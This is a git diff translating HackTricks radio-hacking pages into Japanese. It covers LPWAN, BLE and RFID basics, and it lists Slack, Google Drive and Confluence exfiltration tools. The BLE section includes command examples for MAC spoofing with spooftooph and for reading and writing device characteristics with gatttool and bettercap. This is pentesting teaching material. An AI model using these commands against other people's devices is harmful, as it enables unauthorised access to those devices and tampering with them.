native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +## **外部サービス** +* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): このモジュールは、アクセストークンを使用してConfluenceのAPIに接続し、PDFにエクスポートし、ターゲットがアクセス権を持つConfluenceドキュメントをダウンロードします。 +* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Google Drive APIを介して、攻撃者がアクセス権を持つターゲットのGoogle DriveからファイルをエクスフィルトするためのRed Teamツールです。これには、すべての共有ファイル、共有ドライブからのすべてのファイル、およびターゲットがアクセス権を持つドメインドライブからのすべてのファイルが含まれます。 +* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): GoogleのPeople APIを介して、アクセス権を持つターゲット組織のGoogle PeopleディレクトリをエクスフィルトするためのRed Teamツールです。 +* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** これは、アクセストークンを指定してSlackワークスペースから「興味深い」情報を抽出するためにネイティブのSlack APIを使用するPythonで開発されたツールです。 +* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhoundは、赤チームと青チームがSlackワークスペース/組織の偵察を迅速に実行するためのコマンドラインツールです。 Slackhoundは、組織のユーザー、ファイル、メッセージなどを迅速に検索可能にし、大きなオブジェクトはオフラインでのレビューのためにCSVに書き込まれます。 @@ -38,16 +35,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/radio-hacking/README.md b/radio-hacking/README.md index e4ae0b9f2..a5404921e 100644 --- a/radio-hacking/README.md +++ b/radio-hacking/README.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -23,16 +21,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/radio-hacking/low-power-wide-area-network.md b/radio-hacking/low-power-wide-area-network.md index 6cf609b7c..5c129a56a 100644 --- a/radio-hacking/low-power-wide-area-network.md +++ b/radio-hacking/low-power-wide-area-network.md @@ -4,26 +4,26 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、PRを[HackTricksリポジトリ](https://github.com/carlospolop/hacktricks)と[HackTricks Cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に提出してください。 -## Introduction +## はじめに -**Low-Power Wide Area Network** (LPWAN) is a group of wireless, low-power, wide area network technologies designed for **long-range communications** at a low bit rate.\ -They can reach more than **six miles** and their **batteries** can last up to **20 years**. +**Low-Power Wide Area Network**(LPWAN)は、低ビットレートでの**長距離通信**を目的としたワイヤレス、低消費電力、広域ネットワーク技術のグループです。\ +これらは**6マイル以上**到達し、**20年間**のバッテリ寿命を持つことができます。 -Long Range (**LoRa**) it’s popular in multiple countries and has an open source specification called **LoRaWAN**. +Long Range(**LoRa**)は、複数の国で人気があり、**LoRaWAN**というオープンソースの仕様があります。 -### LPWAN, LoRa, and LoRaWAN +### LPWAN、LoRa、およびLoRaWAN [https://github.com/IOActive/laf](https://github.com/IOActive/laf) diff --git a/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/radio-hacking/pentesting-ble-bluetooth-low-energy.md index 0bce94e54..0a96cceb5 100644 --- a/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ b/radio-hacking/pentesting-ble-bluetooth-low-energy.md @@ -1,40 +1,37 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Introduction +# はじめに -Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range. +Bluetooth 4.0の仕様から利用可能なBLEは、2400〜2483.5 MHzの範囲で40チャンネルのみを使用します。一方、従来のBluetoothは同じ範囲で79チャンネルを使用します。 -BLE devices communicate is by sending **advertising packets** (**beacons**), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes **send data**, too. +BLEデバイスは、**広告パケット**(**ビーコン**)を送信することで、他の近くのデバイスにBLEデバイスの存在を伝えます。これらのビーコンは、時には**データを送信**することもあります。 -The listening device, also called a central device, can respond to an advertising packet with a **SCAN request** sent specifically to the advertising device. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name. +リスニングデバイス(またはセントラルデバイス)は、広告パケットに対して**スキャンリクエスト**を送信することで、広告デバイスに特定のスキャンを行うことができます。そのスキャンへの**応答**は、初期の広告リクエストに収まらなかった追加情報を含む、同じ構造の**広告**パケットを使用します。追加情報には、デバイスの完全なデバイス名などが含まれます。 ![](<../.gitbook/assets/image (201) (2) (1) (1).png>) -The preamble byte synchronizes the frequency, whereas the four-byte access address is a **connection identifier**, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (**PDU**) contains the **advertising data**. There are several types of PDU; the most commonly used are ADV\_NONCONN\_IND and ADV\_IND. Devices use the **ADV\_NONCONN\_IND** PDU type if they **don’t accept connections**, transmitting data only in the advertising packet. Devices use **ADV\_IND** if they **allow connections** and **stop sending advertising** packets once a **connection** has been **established**. +プリアンブルバイトは周波数を同期させ、4バイトのアクセスアドレスは複数のデバイスが同じチャンネルで接続を確立しようとするシナリオで使用される**接続識別子**です。次に、プロトコルデータユニット(**PDU**)には**広告データ**が含まれます。いくつかの種類のPDUがありますが、最も一般的に使用されるのはADV\_NONCONN\_INDとADV\_INDです。デバイスは、**接続を受け入れない**場合は**ADV\_NONCONN\_IND** PDUタイプを使用し、データを広告パケットのみで送信します。デバイスは、**接続を許可**し、**接続**が**確立**されると**広告**パケットの送信を停止する場合は**ADV\_IND**を使用します。 ## GATT -The **Generic Attribute Profile** (GATT) defines how the **device should format and transfer data**. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how **device functionality gets triggered** and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A **characteristic** is a **data** value **sent** between the central device and peripheral. These characteristics can have **descriptors** that **provide additional information about them**. **Characteristics** are often **grouped** in **services** if they’re related to performing a particular action. - -# Enumeration +**Generic Attribute Profile**(GATT)は、**デバイスがデータをどのようにフォーマットし、転送するか**を定義します。BLEデバイスの攻撃対象を分析する際には、GATT(またはGATTs)に注目することが多いです。なぜなら、デバイスの機能がトリガーされ、データが格納、グループ化、変更される方法がGATTによって決まるからです。GATTは、デバイスの特性、ディスクリプタ、およびサービスを16ビットまたは32ビットの値として表すテーブルとしてリストアップされます。**特性**は、セントラルデバイスとペリフェラル間で**送信**される**データ値**です。これらの特性には、**それに関する追加情報を提供するディスクリプタ**があります。**特性**は、特定のアクションを実行するために関連している場合、**サービス**に**グループ化**されることがよくあります。 +# 列挙化 ```bash hciconfig #Check config, check if UP or DOWN # If DOWN try: @@ -44,20 +41,18 @@ sudo hciconfig hci0 down && sudo hciconfig hci0 up # Spoof MAC spooftooph -i hci0 -a 11:22:33:44:55:66 ``` - ## GATTool -**GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\ -GATTTool can launch an interactive shell with the `-I` option: - +**GATTool**は、他のデバイスとの**接続**を**確立**し、そのデバイスの**特性**をリストし、属性の読み書きを行うことができます。\ +GATTToolは、`-I`オプションを使用して対話型シェルを起動することができます。 ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics - handle: 0x0002, char properties: 0x20, char value handle: - 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb - handle: 0x0015, char properties: 0x02, char value handle: - 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb +handle: 0x0002, char properties: 0x20, char value handle: +0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb +handle: 0x0015, char properties: 0x02, char value handle: +0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...] # Write data @@ -70,9 +65,15 @@ gatttool -i -b --char-read # Read connecting with an authenticated encrypted connection gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c ``` - ## Bettercap +Bettercapは、Bluetooth Low Energy(BLE)デバイスのペネトレーションテストに使用される強力なツールです。このツールは、BLEデバイスのスキャン、スニッフィング、スプーフィング、およびMITM(Man-in-the-Middle)攻撃など、さまざまな攻撃手法をサポートしています。 + +Bettercapを使用すると、BLEデバイスのセキュリティに関する脆弱性を特定し、悪用することができます。例えば、デバイスのMACアドレスをスプーフィングして、デバイスとの通信を傍受したり、改ざんしたりすることができます。 + +Bettercapは、コマンドラインインターフェース(CLI)を提供しており、シンプルで使いやすい操作性を備えています。さらに、プラグインシステムを使用して、機能を拡張することもできます。 + +Bettercapは、BLEデバイスのセキュリティ評価やペネトレーションテストにおいて、非常に有用なツールです。その強力な機能と柔軟性により、セキュリティ専門家やハッカーは、BLEデバイスの脆弱性を特定し、適切な対策を講じることができます。 ```bash # Start listening for beacons sudo bettercap --eval "ble.recon on" @@ -84,22 +85,18 @@ sudo bettercap --eval "ble.recon on" >> ble.write >> ble.write ff06 68656c6c6f # Write "hello" in ff06 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/radio-hacking/pentesting-rfid.md b/radio-hacking/pentesting-rfid.md index 7d3fc0fa2..03b04a8c8 100644 --- a/radio-hacking/pentesting-rfid.md +++ b/radio-hacking/pentesting-rfid.md @@ -1,108 +1,93 @@ -# Pentesting RFID +# RFIDのペントテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Introduction +## はじめに -**Radio Frequency Identification (RFID)** is the most popular short-range radio solution. It's usually used to store and transmit information that identifies an entity. +**Radio Frequency Identification (RFID)**は最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を格納および送信するために使用されます。 -An RFID tag can rely on **its own power source (active)**, such as an embedded battery, or receive its power from the reading antenna using the current **induced from the received radio waves** (**passive**). +RFIDタグは、**独自の電源(アクティブ)**(埋め込みバッテリーなど)に依存するか、**受信した無線波から誘導された電流**(**パッシブ**)を使用して、読み取りアンテナから電力を受け取ることができます。 -### Classes +### クラス -EPCglobal divides RFID tags into six categories. A tag in each category has all the capabilities listed in the previous category, making it backward compatible. +EPCglobalはRFIDタグを6つのカテゴリに分類しています。各カテゴリのタグには、前のカテゴリにリストされているすべての機能が備わっており、後方互換性があります。 -* **Class 0** tags are **passive** tags that operate in **UHF** bands. The vendor **preprograms** them at the production factory. As a result, you **can’t change** the information stored in their memory. -* **Class 1** tags can also operate in **HF** bands. In addition, they can be **written only once** after production. Many Class 1 tags can also process **cyclic redundancy checks** (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection. -* **Class 2** tags can be **written multiple times**. -* **Class 3** tags can contain **embedded sensors** that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are **semi-passive**, because although they **have** an embedded power source, such as an integrated **battery**, they **can’t initiate** wireless **communication** with other tags or readers. -* **Class 4** tags can initiate communication with other tags of the same class, making them **active tags**. -* **Class 5** tags can provide **power to other tags and communicate with all the previous tag** classes. Class 5 tags can act as **RFID readers**. +* **クラス0**タグは、**UHF**バンドで動作する**パッシブ**タグです。ベンダーはこれらを製造工場で**事前プログラム**します。そのため、メモリに格納された情報を**変更することはできません**。 +* **クラス1**タグは、**HF**バンドでも動作できます。さらに、製造後に**1回だけ書き込む**ことができます。多くのクラス1タグは、受信したコマンドの**巡回冗長検査(CRC)**を処理することもできます。CRCは、エラー検出のためのコマンドの末尾に追加されるいくつかの追加バイトです。 +* **クラス2**タグは、**複数回書き込む**ことができます。 +* **クラス3**タグには、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサ**が含まれています。これらのタグは**セミパッシブ**であり、組み込みの**バッテリー**などの埋め込み電源を持っていますが、他のタグやリーダーとのワイヤレス**通信を開始することはできません**。 +* **クラス4**タグは、同じクラスの他のタグと通信を開始できるため、**アクティブタグ**です。 +* **クラス5**タグは、他のすべてのタグクラスと**通信し、他のタグに電力を供給**することができます。クラス5タグは**RFIDリーダー**として機能することができます。 -### Information Stored in RFID Tags +### RFIDタグに格納される情報 -An RFID tag’s memory usually stores four kinds of data: the **identification data**, which **identifies** the **entity** to which the tag is attached (this data includes user-defined fields, such as bank accounts); the **supplementary data**, which provides **further** **details** regarding the entity; the **control data**, used for the tag’s internal **configuration**; and the tag’s **manufacturer data**, which contains a tag’s Unique Identifier (**UID**) and details regarding the tag’s **production**, **type**, and **vendor**. You’ll find the first two kinds of data in all the commercial tags; the last two can differ based on the tag’s vendor. +RFIDタグのメモリには通常、次の4種類のデータが格納されます:**識別データ**(タグが添付されているエンティティを識別するデータ。これには銀行口座などのユーザー定義フィールドも含まれます)、**補足データ**(エンティティに関する詳細情報を提供)、**制御データ**(タグの内部構成に使用)およびタグの**製造業者データ**(タグの一意の識別子(UID)と製造、タイプ、ベンダーに関する詳細情報を含む)。最初の2種類のデータはすべての商用タグに見つかりますが、最後の2つはタグのベンダーによって異なる場合があります。 -The ISO standard specifies the Application Family Identifier (**AFI**) value, a code that indicates the **kind of object** the tag belongs to. Another important register, also specified by ISO, is the Data Storage Format Identifier(**DSFID**), which defines the **logical organization of the user data**. +ISO規格では、タグが所属する**オブジェクトの種類**を示すコードである**Application Family Identifier(AFI)**値が指定されています。ISOで指定されたもう1つの重要なレジスタは、ユーザーデータの**論理的な組織**を定義する**Data Storage Format Identifier(DSFID)**です。 -Most RFID **security controls** have mechanisms that **restrict** the **read** or **write** operations on each user memory block and on the special registers containing the AFI and DSFID values. These **lock** **mechanisms** use data stored in the control memory and have **default passwords** preconfigured by the vendor but allow the tag owners to **configure custom passwords**. +ほとんどのRFID **セキュリティコントロール**には、各ユーザーメモリブロックおよびAFIおよびDSFID値を含む特殊レジスタへの**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック**メカニズムは、制御メモリに格納されたデータを使用し、ベンダーによって事前に設定された**デフォルトのパスワード**を使用しますが、タグの所有者が**カスタムパスワードを設定**できるようにします。 -### Low & High frequency tags comparison +### 低周波数タグと高周波数タグの比較
